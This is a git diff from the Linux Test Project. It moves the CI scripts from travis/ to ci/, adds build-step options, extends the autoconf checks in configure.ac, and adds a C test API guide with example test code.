+-t TYPE  Specify build type, default: $DEFAULT_BUILD, only for configure step
 
-BUILD TREE:
+TREE:
 in       in-tree build
 out      out-of-tree build
 
-BUILD TYPES:
+TYPES:
 32       32-bit build (PKG_CONFIG_LIBDIR auto-detection for x86_64)
 cross    cross-compile build (requires set compiler via -c switch)
 native   native build
 
+RUN:
+autotools   run only 'make autotools'
+configure   run only 'configure'
+build       run only 'make'
+test        run only 'make test' (not supported for cross-compile build)
+test-c      run only 'make test-c' (not supported for cross-compile build)
+test-shell  run only 'make test-shell' (not supported for cross-compile build)
+install     run only 'make install'
+
 Default configure options:
 in-tree:    $CONFIGURE_OPTS_IN_TREE
 out-of-tree $CONFIGURE_OPTS_OUT_TREE
@@ -181,12 +189,13 @@
 EOF
 }
 
-PREFIX="$DEFAULT_PREFIX"
+prefix="$DEFAULT_PREFIX"
 build="$DEFAULT_BUILD"
 tree="$DEFAULT_TREE"
-install=0
+install=
+run=
 
-while getopts "c:hio:p:t:" opt; do
+while getopts "c:hio:p:r:t:" opt; do
 	case "$opt" in
 	c) CC="$OPTARG";;
 	h) usage; exit 0;;
@@ -195,7 +204,11 @@
 		in|out) tree="$OPTARG";;
 		*) echo "Wrong build tree '$OPTARG'" >&2; usage; exit 1;;
 		esac;;
-	p) PREFIX="$OPTARG";;
+	p) prefix="$OPTARG";;
+	r) case "$OPTARG" in
+		autotools|configure|build|test|test-c|test-shell|install) run="$OPTARG";;
+		*) echo "Wrong run type '$OPTARG'" >&2; usage; exit 1;;
+		esac;;
 	t) case "$OPTARG" in
 		32|cross|native) build="$OPTARG";;
 		*) echo "Wrong build type '$OPTARG'" >&2; usage; exit 1;;
@@ -204,13 +217,35 @@
 	esac
 done
 
-cd `dirname $0`
+cd $SRC_DIR
 
-echo "=== ver_linux ==="
-./ver_linux
-echo
+if [ -z "$run" -o "$run" = "autotools" ]; then
+	make autotools
+fi
 
-echo "=== compiler version ==="
-$CC --version
+if [ -z "$run" -o "$run" = "configure" ]; then
+	eval configure_$build $tree $prefix
+fi
 
-eval build_$build $tree $install
+if [ -z "$run" -o "$run" = "build" ]; then
+	echo "=== build ==="
+	eval build_${tree}_tree
+fi
+
+if [ -z "$run" -o "$run" = "test" -o "$run" = "test-c" -o "$run" = "test-shell" ]; then
+	if [ "$build" = "cross" ]; then
+		echo "cross-compile build, skipping running tests" >&2
+	else
+		eval test_${tree}_tree $run
+	fi
+fi
+
+if [ -z "$run" -o "$run" = "install" ]; then
+	if [ "$install" = 1 ]; then
+		eval install_${tree}_tree
+	else
+		echo "make install skipped, use -i to run it"
+	fi
+fi
+
+exit $?
diff --git a/travis/alpine.sh b/ci/alpine.sh
similarity index 67%
rename from travis/alpine.sh
rename to ci/alpine.sh
index f909620..9ae5a8d 100755
--- a/travis/alpine.sh
+++ b/ci/alpine.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2019-2020 Petr Vorel <petr.vorel@gmail.com>
+# Copyright (c) 2019-2022 Petr Vorel <petr.vorel@gmail.com>
 set -ex
 
 apk update
@@ -31,13 +31,11 @@
 cat /etc/os-release
 
 echo "WARNING: remove unsupported tests (until they're fixed)"
-cd ..
+cd $(dirname $0)/..
 rm -rfv \
-	testcases/kernel/sched/process_stress/process.c \
-	testcases/kernel/syscalls/confstr/confstr01.c \
 	testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
-	testcases/kernel/syscalls/getcontext/getcontext01.c \
 	testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
 	testcases/kernel/syscalls/timer_create/timer_create01.c \
-	testcases/kernel/syscalls/timer_create/timer_create03.c \
+	testcases/kernel/syscalls/timer_create/timer_create03.c
+
 cd -
diff --git a/travis/centos.sh b/ci/centos.sh
similarity index 100%
rename from travis/centos.sh
rename to ci/centos.sh
diff --git a/travis/debian.cross-compile.sh b/ci/debian.cross-compile.sh
similarity index 100%
rename from travis/debian.cross-compile.sh
rename to ci/debian.cross-compile.sh
diff --git a/travis/debian.i386.sh b/ci/debian.i386.sh
similarity index 100%
rename from travis/debian.i386.sh
rename to ci/debian.i386.sh
diff --git a/travis/debian.minimal.sh b/ci/debian.minimal.sh
similarity index 80%
rename from travis/debian.minimal.sh
rename to ci/debian.minimal.sh
index 5e6ba86..c314d93 100755
--- a/travis/debian.minimal.sh
+++ b/ci/debian.minimal.sh
@@ -13,13 +13,10 @@
 	libcap-dev \
 	libcap2 \
 	libkeyutils-dev \
-	libkeyutils1 \
-	libmm-dev \
 	libnuma-dev \
 	libnuma1 \
 	libselinux1-dev \
-	libsepol1-dev \
-	libssl-dev \
-	libtirpc-dev
+	libsepol-dev \
+	libssl-dev
 
 $apt asciidoc-base ruby-asciidoctor || true
diff --git a/travis/debian.sh b/ci/debian.sh
similarity index 78%
rename from travis/debian.sh
rename to ci/debian.sh
index 743b790..da92337 100755
--- a/travis/debian.sh
+++ b/ci/debian.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2018-2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2021 Petr Vorel <pvorel@suse.cz>
 set -ex
 
 # workaround for missing oldstable-updates repository
@@ -8,6 +8,9 @@
 
 apt update
 
+# workaround for Ubuntu impish asking to interactively configure tzdata
+export DEBIAN_FRONTEND="noninteractive"
+
 apt="apt install -y --no-install-recommends"
 
 $apt \
@@ -22,6 +25,7 @@
 	clang \
 	gcc \
 	git \
+	iproute2 \
 	libacl1 \
 	libacl1-dev \
 	libaio-dev \
@@ -33,12 +37,11 @@
 	libjson-perl \
 	libkeyutils-dev \
 	libkeyutils1 \
-	libmm-dev \
 	libmnl-dev \
 	libnuma-dev \
 	libnuma1 \
 	libselinux1-dev \
-	libsepol1-dev \
+	libsepol-dev \
 	libssl-dev \
 	libtirpc-dev \
 	linux-libc-dev \
@@ -46,5 +49,6 @@
 	pkg-config
 
 $apt ruby-asciidoctor-pdf || true
+$apt asciidoc-dblatex || true
 
 df -hT
diff --git a/travis/fedora.sh b/ci/fedora.sh
similarity index 88%
rename from travis/fedora.sh
rename to ci/fedora.sh
index 959f3af..a603bcb 100755
--- a/travis/fedora.sh
+++ b/ci/fedora.sh
@@ -2,7 +2,7 @@
 # Copyright (c) 2018-2021 Petr Vorel <pvorel@suse.cz>
 set -ex
 
-yum="yum -y install"
+yum="yum -y install --skip-broken"
 
 $yum \
 	asciidoc \
@@ -13,6 +13,7 @@
 	gcc \
 	git \
 	findutils \
+	iproute \
 	numactl-devel \
 	libtirpc \
 	libtirpc-devel \
diff --git a/travis/opensuse.sh b/ci/opensuse.sh
similarity index 100%
rename from travis/opensuse.sh
rename to ci/opensuse.sh
diff --git a/travis/tumbleweed.sh b/ci/tumbleweed.sh
similarity index 85%
rename from travis/tumbleweed.sh
rename to ci/tumbleweed.sh
index 43ca325..f1e7252 100755
--- a/travis/tumbleweed.sh
+++ b/ci/tumbleweed.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2018-2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2021 Petr Vorel <pvorel@suse.cz>
 set -ex
 
 zyp="zypper --non-interactive install --force-resolution --no-recommends"
@@ -13,6 +13,7 @@
 	gcc \
 	git \
 	gzip \
+	iproute2 \
 	make \
 	kernel-default-devel \
 	keyutils-devel \
@@ -29,4 +30,4 @@
 	perl-JSON \
 	pkg-config
 
-$zyp ruby2.7-rubygem-asciidoctor || $zyp ruby2.5-rubygem-asciidoctor
+$zyp ruby2.7-rubygem-asciidoctor || $zyp ruby2.5-rubygem-asciidoctor || true
diff --git a/travis/ubuntu.sh b/ci/ubuntu.sh
similarity index 100%
rename from travis/ubuntu.sh
rename to ci/ubuntu.sh
diff --git a/configure.ac b/configure.ac
index 9347b70..3f404c8 100644
--- a/configure.ac
+++ b/configure.ac
@@ -24,7 +24,6 @@
 # 2.62.
 AC_DEFUN([AC_PROG_AR], [AC_CHECK_TOOL(AR, ar, :)])
 AC_PROG_AR
-AC_PROG_LEX
 AC_PROG_RANLIB
 AC_DEFUN([AC_PROG_STRIP], [AC_CHECK_TOOL(STRIP, strip, :)])
 AC_PROG_STRIP
@@ -42,6 +41,7 @@
 
 AC_CHECK_HEADERS_ONCE([ \
     asm/ldt.h \
+    emmintrin.h \
     ifaddrs.h \
     keyutils.h \
     linux/can.h \
@@ -50,6 +50,7 @@
     linux/close_range.h \
     linux/dccp.h \
     linux/fs.h \
+    linux/futex.h \
     linux/genetlink.h \
     linux/if_alg.h \
     linux/if_ether.h \
@@ -58,6 +59,7 @@
     linux/keyctl.h \
     linux/mempolicy.h \
     linux/module.h \
+    linux/mount.h \
     linux/netlink.h \
     linux/openat2.h \
     linux/seccomp.h \
@@ -70,6 +72,7 @@
     sys/epoll.h \
     sys/fanotify.h \
     sys/inotify.h \
+    sys/pidfd.h
     sys/prctl.h \
     sys/shm.h \
     sys/timerfd.h \
@@ -80,12 +83,14 @@
 ])
 AC_CHECK_HEADERS(fts.h, [have_fts=1])
 AC_SUBST(HAVE_FTS_H, $have_fts)
+AC_CHECK_HEADERS(linux/vm_sockets.h, [], [], [#include <sys/socket.h>])
 
 AC_CHECK_FUNCS_ONCE([ \
     clone3 \
     close_range \
     copy_file_range \
     epoll_pwait \
+    epoll_pwait2 \
     execveat \
     fallocate \
     fchownat \
@@ -95,6 +100,7 @@
     fspick \
     fstatat \
     getauxval \
+    getcontext \
     getdents \
     getdents64 \
     io_pgetevents \
@@ -103,15 +109,18 @@
     io_uring_enter \
     kcmp \
     mallinfo \
+    mallinfo2 \
     mallopt \
     mkdirat \
     mknodat \
     modify_ldt \
+    mount_setattr \
     move_mount \
     name_to_handle_at \
     open_tree \
     openat \
     openat2 \
+    pidfd_getfd \
     pidfd_open \
     pidfd_send_signal \
     pkey_mprotect \
@@ -120,6 +129,7 @@
     profil \
     pwritev \
     pwritev2 \
+    quotactl_fd \
     rand_r \
     readlinkat \
     recvmmsg \
@@ -127,6 +137,7 @@
     renameat2 \
     sched_getcpu \
     sendmmsg \
+    sethostid \
     setns \
     sigpending \
     splice \
@@ -147,6 +158,10 @@
 AC_CHECK_MEMBERS([struct fanotify_event_info_fid.fsid.__val],,,[#include <sys/fanotify.h>])
 AC_CHECK_MEMBERS([struct perf_event_mmap_page.aux_head],,,[#include <linux/perf_event.h>])
 AC_CHECK_MEMBERS([struct sigaction.sa_sigaction],[],[],[#include <signal.h>])
+AC_CHECK_MEMBERS([struct statx.stx_mnt_id],,,[
+#define _GNU_SOURCE
+#include <sys/stat.h>
+])
 
 AC_CHECK_MEMBERS([struct utsname.domainname],,,[
 #define _GNU_SOURCE
@@ -157,7 +172,8 @@
 AC_CHECK_TYPES([struct acct_v3],,,[#include <sys/acct.h>])
 AC_CHECK_TYPES([struct af_alg_iv, struct sockaddr_alg],,,[# include <linux/if_alg.h>])
 AC_CHECK_TYPES([struct clone_args],,,[#include <sched.h>])
-AC_CHECK_TYPES([struct fanotify_event_info_fid, struct fanotify_event_info_header],,,[#include <sys/fanotify.h>])
+AC_CHECK_TYPES([struct fanotify_event_info_fid, struct fanotify_event_info_error,
+		struct fanotify_event_info_header, struct fanotify_event_info_pidfd],,,[#include <sys/fanotify.h>])
 AC_CHECK_TYPES([struct file_dedupe_range],,,[#include <linux/fs.h>])
 
 AC_CHECK_TYPES([struct file_handle],,,[
@@ -213,11 +229,23 @@
 #include <linux/netfilter_ipv4/ip_tables.h>
 ])
 
+AC_CHECK_TYPES([struct __kernel_old_timeval, struct __kernel_old_timespec, struct __kernel_timespec,
+                struct __kernel_old_itimerspec, struct __kernel_itimerspec],,,[#include <sys/socket.h>])
+
+AC_CHECK_TYPES([struct futex_waitv],,,[#include <linux/futex.h>])
+AC_CHECK_TYPES([struct mount_attr],,,[
+#ifdef HAVE_LINUX_MOUNT_H
+# include <linux/mount.h>
+#else
+# include <sys/mount.h>
+#endif
+])
+
 # Tools knobs
 
 # Bash
 AC_ARG_WITH([bash],
-  [AC_HELP_STRING([--with-bash],
+  [AS_HELP_STRING([--with-bash],
     [have the Bourne Again Shell interpreter])],
   [with_bash=$withval],
   [with_bash=no]
@@ -230,24 +258,24 @@
 
 # metadata
 AC_ARG_ENABLE([metadata],
-  [AC_HELP_STRING([--disable-metadata],
+  [AS_HELP_STRING([--disable-metadata],
 	[Disable metadata generation (both HTML and PDF, default no)])],
   [], [enable_metadata=yes]
 )
 AC_ARG_ENABLE([metadata_html],
-  [AC_HELP_STRING([--disable-metadata-html],
+  [AS_HELP_STRING([--disable-metadata-html],
 	[Disable metadata HTML generation (default no)])],
   [], [enable_metadata_html=yes]
 )
 
 AC_ARG_ENABLE([metadata_pdf],
-  [AC_HELP_STRING([--enable-metadata-pdf],
+  [AS_HELP_STRING([--enable-metadata-pdf],
 	[Enable metadata PDF generation (default no)])],
   [], [enable_metadata_pdf=no]
 )
 
 AC_ARG_WITH([metadata_generator],
-  [AC_HELP_STRING([--with-metadata-generator=asciidoc|asciidoctor],
+  [AS_HELP_STRING([--with-metadata-generator=asciidoc|asciidoctor],
 	[Specify metadata generator to use (default autodetect)])],
   [with_metadata_generator=$withval],
   [with_metadata_generator=detect]
@@ -257,7 +285,7 @@
 
 # Expect
 AC_ARG_WITH([expect],
-  [AC_HELP_STRING([--with-expect],
+  [AS_HELP_STRING([--with-expect],
     [have the Tcl/expect library])],
   [with_expect=$withval],
   [with_expect=no]
@@ -270,7 +298,7 @@
 
 # Numa
 AC_ARG_WITH([numa],
-  AC_HELP_STRING([--without-numa],
+  AS_HELP_STRING([--without-numa],
     [without numa support]),
   [with_numa=$withval],
   [with_numa=yes]
@@ -278,7 +306,7 @@
 
 # Perl
 AC_ARG_WITH([perl],
-  [AC_HELP_STRING([--with-perl],
+  [AS_HELP_STRING([--with-perl],
     [have a perl interpreter])],
   [with_perl=$withval],
   [with_perl=no]
@@ -291,7 +319,7 @@
 
 # Python
 AC_ARG_WITH([python],
-  [AC_HELP_STRING([--with-python],
+  [AS_HELP_STRING([--with-python],
     [have a python interpreter])],
   [with_python=$withval],
   [with_python=no]
@@ -304,7 +332,7 @@
 
 # TI RPC
 AC_ARG_WITH([tirpc],
-  AC_HELP_STRING([--without-tirpc],
+  AS_HELP_STRING([--without-tirpc],
     [without libtirpc support]),
   [with_tirpc=$withval],
   [with_tirpc=yes]
@@ -314,20 +342,31 @@
 # Testsuites knobs
 
 AC_ARG_WITH([open-posix-testsuite],
-  [AC_HELP_STRING([--with-open-posix-testsuite],
+  [AS_HELP_STRING([--with-open-posix-testsuite],
     [compile and install the open posix testsuite])],
   [with_open_posix_testsuite=$withval],
   [with_open_posix_testsuite=no]
 )
+
+# Allow setting the directoy, where the open posix testsuite is installed to.
+# If nothing is defined, we have to pass our default value to submake
+AC_ARG_WITH([open-posix-testdir],
+  [AS_HELP_STRING([--with-open-posix-testdir=<dir>],
+    [set the directory, where the open posix testsuite will be installed under prefix])],
+  [],
+  [ac_configure_args="$ac_configure_args --with-open-posix-testdir=testcases/open_posix_testsuite"]
+)
+
 if test "x$with_open_posix_testsuite" = xyes; then
     AC_SUBST([WITH_OPEN_POSIX_TESTSUITE],["yes"])
+    AC_CONFIG_SUBDIRS([testcases/open_posix_testsuite])
 else
     AC_SUBST([WITH_OPEN_POSIX_TESTSUITE],["no"])
 fi
 
 # TODO: testcases/realtime requires bash and python.
 AC_ARG_WITH([realtime-testsuite],
-  [AC_HELP_STRING([--with-realtime-testsuite],
+  [AS_HELP_STRING([--with-realtime-testsuite],
     [compile and install the realtime testsuite])],
   [with_realtime_testsuite=$withval],
   [with_realtime_testsuite=no]
@@ -350,7 +389,6 @@
 LTP_CHECK_BUILTIN_CLEAR_CACHE
 LTP_CHECK_CAPABILITY_SUPPORT
 LTP_CHECK_CC_WARN_OLDSTYLE
-LTP_CHECK_CLONE_SUPPORTS_7_ARGS
 LTP_CHECK_CRYPTO
 LTP_CHECK_FORTIFY_SOURCE
 LTP_CHECK_KERNEL_DEVEL
@@ -358,12 +396,15 @@
 LTP_CHECK_LIBMNL
 LTP_CHECK_LINUX_PTRACE
 LTP_CHECK_LINUXRANDOM
-LTP_CHECK_MREMAP_FIXED
 LTP_CHECK_NOMMU_LINUX
 LTP_CHECK_SELINUX
 LTP_CHECK_SYNC_ADD_AND_FETCH
 LTP_CHECK_SYSCALL_EVENTFD
 LTP_CHECK_SYSCALL_FCNTL
+LTP_CHECK_FSVERITY
+
+AX_CHECK_COMPILE_FLAG([-no-pie], [LTP_CFLAGS_NOPIE=1])
+AC_SUBST([LTP_CFLAGS_NOPIE])
 
 if test "x$with_numa" = xyes; then
 	LTP_CHECK_SYSCALL_NUMA
@@ -374,11 +415,50 @@
 AC_DEFINE_UNQUOTED(NUMA_ERROR_MSG, ["$numa_error_msg"], [Error message when no NUMA support])
 
 
-LTP_CHECK_SYSCALL_PERF_EVENT_OPEN
 LTP_CHECK_SYSCALL_SIGNALFD
 LTP_CHECK_SYSCALL_UTIMENSAT
 LTP_CHECK_TASKSTATS
 test "x$with_tirpc" = xyes && LTP_CHECK_TIRPC
 LTP_DETECT_HOST_CPU
 
+AC_MSG_CHECKING([whether linker can handle KVM payloads])
+ltp_backup_ldflags="$LDFLAGS"
+ltp_backup_flags="$[]_AC_LANG_PREFIX[]FLAGS"
+LDFLAGS="-T ${srcdir}/testcases/kernel/kvm/linker/${HOST_CPU}.lds"
+_AC_LANG_PREFIX[]FLAGS=
+AC_LINK_IFELSE([AC_LANG_PROGRAM()],
+  [
+    AC_MSG_RESULT([yes])
+    AC_SUBST([WITH_KVM_TESTSUITE],["yes"])
+  ],
+  [
+    AC_MSG_RESULT([no])
+    AC_SUBST([WITH_KVM_TESTSUITE],["no"])
+  ])
+_AC_LANG_PREFIX[]FLAGS="$ltp_backup_flags"
+LDFLAGS="$ltp_backup_ldflags"
+
 AC_OUTPUT
+
+cat << EOF
+
+TESTSUITES
+open posix testsuite: ${with_open_posix_testsuite:-no}
+realtime testsuite: ${with_realtime_testsuite:-no}
+
+LIBRARIES
+keyutils: ${have_keyutils:-no}
+libacl: ${have_libacl:-no}
+libaio: ${have_libaio:-no} (aio: ${have_aio:-no})
+libcap: $cap_libs (newer: ${has_newer_libcap:-no})
+libcrypto: $have_libcrypto (sha: ${have_sha:-no})
+libmnl: ${have_libmnl:-no}
+libnuma: ${have_libnuma:-no} (headers: ${have_numa_headers:-no}, v2 headers: ${have_numa_headers_v2:-no})
+libtirpc: ${have_libtirpc:-no}
+glibc SUN-RPC: ${have_rpc_glibc:-no}
+
+METADATA
+metadata generator: $with_metadata_generator
+HTML metadata: $with_metadata_html
+PDF metadata: $with_metadata_pdf
+EOF
diff --git a/doc/Makefile b/doc/Makefile
index e28df68..f7e4dd0 100644
--- a/doc/Makefile
+++ b/doc/Makefile
@@ -1,24 +1,6 @@
-#
-#    Doc Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir			?= ..
 
diff --git a/doc/build-system-guide.txt b/doc/build-system-guide.txt
index 166f7fb..b8d267b 100644
--- a/doc/build-system-guide.txt
+++ b/doc/build-system-guide.txt
@@ -145,6 +145,11 @@
 
 $(DEBUG_CFLAGS)		: Debug flags to pass to $(CC), -g, etc.
 
+$(KVM_LD)		: Special linker for wrapping KVM payload binaries
+			  into linkable object files. Defaults to $(LD).
+			  Change this variable if the KVM Makefile fails
+			  to build files named *-payload.o.
+
 $(LD)			: The system linker (typically $(CC), but not
 			  necessarily).
 
diff --git a/doc/c-test-api.txt b/doc/c-test-api.txt
new file mode 100644
index 0000000..64ee339
--- /dev/null
+++ b/doc/c-test-api.txt
@@ -0,0 +1,2440 @@
+LTP C Test API
+==============
+
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial[C Test Case Tutorial],
+      https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API].
+
+1 Writing a test in C
+---------------------
+
+1.1 Basic test structure
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+Let's start with an example, following code is a simple test for a 'getenv()'.
+
+[source,c]
+-------------------------------------------------------------------------------
+/*\
+ * [Description]
+ * Tests basic functionality of getenv().
+ *
+ *  - create an env variable and verify that getenv() can get get it
+ *  - call getenv() with nonexisting variable name, check that it returns NULL
+ */
+
+#include "tst_test.h"
+
+#define ENV1 "LTP_TEST_ENV"
+#define ENV2 "LTP_TEST_THIS_DOES_NOT_EXIST"
+#define ENV_VAL "val"
+
+static void setup(void)
+{
+	if (setenv(ENV1, ENV_VAL, 1))
+		tst_brk(TBROK | TERRNO, "setenv() failed");
+}
+
+static void test(void)
+{
+	char *ret;
+
+	ret = getenv(ENV1);
+
+	if (!ret) {
+		tst_res(TFAIL, "getenv(" ENV1 ") = NULL");
+		goto next;
+	}
+
+	if (!strcmp(ret, ENV_VAL)) {
+		tst_res(TPASS, "getenv(" ENV1 ") = '"ENV_VAL "'");
+	} else {
+		tst_res(TFAIL, "getenv(" ENV1 ") = '%s', expected '"
+		               ENV_VAL "'", ret);
+	}
+
+next:
+	ret = getenv(ENV2);
+
+	if (ret)
+		tst_res(TFAIL, "getenv(" ENV2 ") = '%s'", ret);
+	else
+		tst_res(TPASS, "getenv(" ENV2 ") = NULL");
+}
+
+static struct tst_test test = {
+	.test_all = test,
+	.setup = setup,
+};
+-------------------------------------------------------------------------------
+
+Each test includes the 'tst_test.h' header and must define the 'struct
+tst_test test' structure.
+
+The overall test initialization is done in the 'setup()' function.
+
+The overall cleanup is done in a 'cleanup()' function. Here 'cleanup()' is
+omitted as the test does not have anything to clean up. If cleanup is set in
+the test structure it's called on test exit just before the test library
+cleanup. That especially means that cleanup can be called at any point in a
+test execution. For example even when a test setup step has failed, therefore
+the 'cleanup()' function must be able to cope with unfinished initialization,
+and so on.
+
+The test itself is done in the 'test()' function. The test function must work
+fine if called in a loop.
+
+There are two types of a test function pointers in the test structure. The
+first one is a '.test_all' pointer that is used when test is implemented as a
+single function. Then there is a '.test' function along with the number of
+tests '.tcnt' that allows for more detailed result reporting. If the '.test'
+pointer is set the function is called '.tcnt' times with an integer parameter
+in range of [0, '.tcnt' - 1].
+
+IMPORTANT: Only one of '.test' and '.test_all' can be set at a time.
+
+Each test has a limit on how long it can run and the limit composes of two
+parts max_runtime and timeout. The max_runtime is a limit for how long can the
+'.test_all' or a set of '.test' functions take and the timeout is static part
+that should cover the duration of test setup and cleanup plus some safety.
+
+Any test that runs for more than a second or two has to make sure to:
+
+- set the runtime either by setting the '.max_runtime' in tst_test or by
+  calling 'tst_set_runtime()' in the test setup
+
+- monitor remaning runtime by regular calls to 'tst_remaining_runtime()' and
+  exit when runtime has been used up
+
+Test is free to exit before max_runtime has been used up for example when
+minimal number of iteration was finished.
+
+The limit is applied to a single call of the '.test_all' function that means
+that for example when '.test_variants' or '.all_filesystems' is set the whole
+test will be limited by 'variants * (max_runtime + timeout)' seconds and the
+test runtime will be likely close to 'variants * max_runtime' seconds.
+
+[source,c]
+-------------------------------------------------------------------------------
+/*
+ * Returns number of seconds or zero in case that runtime has been used up.
+ */
+
+int tst_remaining_runtime(void);
+-------------------------------------------------------------------------------
+
+LAPI headers
+++++++++++++
+
+Use our LAPI headers ('include "lapi/foo.h"') to keep compatibility with old
+distributions. LAPI header should always include original header. Older linux
+headers were problematic, therefore we preferred to use libc headers. There are
+still some bugs when combining certain glibc headers with linux headers, see
+https://sourceware.org/glibc/wiki/Synchronizing_Headers.
+
+A word about the cleanup() callback
++++++++++++++++++++++++++++++++++++
+
+There are a few rules that needs to be followed in order to write correct
+cleanup() callback.
+
+1. Free only resources that were initialized. Keep in mind that callback can
+   be executed at any point in the test run.
+
+2. Make sure to free resources in the reverse order they were
+   initialized. (Some of the steps may not depend on others and everything
+   will work if there were swapped but let's keep it in order.)
+
+The first rule may seem complicated at first however, on the contrary, it's
+quite easy. All you have to do is to keep track of what was already
+initialized. For example file descriptors needs to be closed only if they were
+assigned a valid file descriptor. For most of the things you need to create
+extra flag that is set right after successful initialization though. Consider,
+for example, test setup below.
+
+We also prefer cleaning up resources that would otherwise be released on the
+program exit. There are two main reasons for this decision. Resources such as
+file descriptors and mmaped memory could block umounting a block device in
+cases where the test library has mounted a filesystem for the test temporary
+directory. Not freeing allocated memory would upset static analysis and tools
+such as valgrind and produce false-positives when checking for leaks in the
+libc and other low level libraries.
+
+[source,c]
+-------------------------------------------------------------------------------
+static int fd0, fd1, mount_flag;
+
+#define MNTPOINT "mntpoint"
+#define FILE1 "mntpoint/file1"
+#define FILE2 "mntpoint/file2"
+
+static void setup(void)
+{
+	SAFE_MKDIR(MNTPOINT, 0777);
+	SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL);
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, 0);
+	mount_flag = 1;
+
+	fd0 = SAFE_OPEN(cleanup, FILE1, O_CREAT | O_RDWR, 0666);
+	fd1 = SAFE_OPEN(cleanup, FILE2, O_CREAT | O_RDWR, 0666);
+}
+-------------------------------------------------------------------------------
+
+In this case the 'cleanup()' function may be invoked when any of the 'SAFE_*'
+macros has failed and therefore must be able to work with unfinished
+initialization as well. Since global variables are initialized to zero we can
+just check that fd > 0 before we attempt to close it. The mount function
+requires extra flag to be set after device was successfully mounted.
+
+[source,c]
+-------------------------------------------------------------------------------
+static void cleanup(void)
+{
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
+
+	if (fd0 > 0)
+		SAFE_CLOSE(fd0);
+
+	if (mount_flag && tst_umouont(MNTPOINT))
+		tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT);
+}
+-------------------------------------------------------------------------------
+
+IMPORTANT: 'SAFE_MACROS()' used in cleanup *do not* exit the test. Failure
+           only produces a warning and the 'cleanup()' carries on. This is
+	   intentional as we want to execute as much 'cleanup()' as possible.
+
+WARNING: Calling tst_brk() in test 'cleanup()' does not exit the test as well
+         and 'TBROK' is converted to 'TWARN'.
+
+NOTE: Creation and removal of the test temporary directory is handled in
+      the test library and the directory is removed recursively. Therefore
+      we do not have to remove files and directories in the test cleanup.
+
+1.2 Basic test interface
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+void tst_res(int ttype, char *arg_fmt, ...);
+-------------------------------------------------------------------------------
+
+Printf-like function to report test result, it's mostly used with ttype:
+
+|==============================
+| 'TPASS' | Test has passed.
+| 'TFAIL' | Test has failed.
+| 'TINFO' | General message.
+| 'TWARN' | Something went wrong but we decided to continue. Mostly used in cleanup functions.
+|==============================
+
+The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print
+'errno', 'TST_ERR' respectively.
+
+[source,c]
+-------------------------------------------------------------------------------
+void tst_brk(int ttype, char *arg_fmt, ...);
+-------------------------------------------------------------------------------
+
+Printf-like function to report error and exit the test, it can be used with ttype:
+
+|============================================================
+| 'TBROK' | Something has failed in test preparation phase.
+| 'TCONF' | Test is not appropriate for current configuration
+            (syscall not implemented, unsupported arch, ...)
+|============================================================
+
+The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print
+'errno', 'TST_ERR' respectively.
+
+There are also 'TST_EXP_*()' macros that can simplify syscall unit tests to a
+single line, use them whenever possible. These macros take a function call as
+the first parameter and a printf-like format string and parameters as well.
+These test macros then expand to a code that runs the call, checks the return
+value and errno and reports the test result.
+
+[source,c]
+-------------------------------------------------------------------------------
+static void test(void)
+{
+	...
+	TST_EXP_PASS(stat(fname, &statbuf), "stat(%s, ...)", fname);
+
+	if (!TST_PASS)
+		return;
+	...
+}
+-------------------------------------------------------------------------------
+
+The 'TST_EXP_PASS()' can be used for calls that return -1 on failure and 0 on
+success. It will check for the return value and reports failure if the return
+value is not equal to 0. The call also sets the 'TST_PASS' variable to 1 if
+the call succeeeded.
+
+As seen above, this and similar macros take optional variadic arguments. These
+begin with a format string and then appropriate values to be formatted.
+
+[source,c]
+-------------------------------------------------------------------------------
+static void test(void)
+{
+	...
+	TST_EXP_FD(open(fname, O_RDONLY), "open(%s, O_RDONLY)", fname);
+
+	SAFE_CLOSE(TST_RET);
+	...
+}
+-------------------------------------------------------------------------------
+
+The 'TST_EXP_FD()' is the same as 'TST_EXP_PASS()' the only difference is that
+the return value is expected to be a file descriptor so the call passes if
+positive integer is returned.
+
+[source,c]
+-------------------------------------------------------------------------------
+static void test(void)
+{
+	...
+	TST_EXP_FAIL(stat(fname, &statbuf), ENOENT, "stat(%s, ...)", fname);
+	...
+}
+-------------------------------------------------------------------------------
+
+The 'TST_EXP_FAIL()' is similar to 'TST_EXP_PASS()' but it fails the test if
+the call haven't failed with -1 and 'errno' wasn't set to the expected one
+passed as the second argument.
+
+[source,c]
+-------------------------------------------------------------------------------
+static void test(void)
+{
+	...
+	TST_EXP_FAIL2(msgget(key, flags), EINVAL, "msgget(%i, %i)", key, flags);
+	...
+}
+-------------------------------------------------------------------------------
+
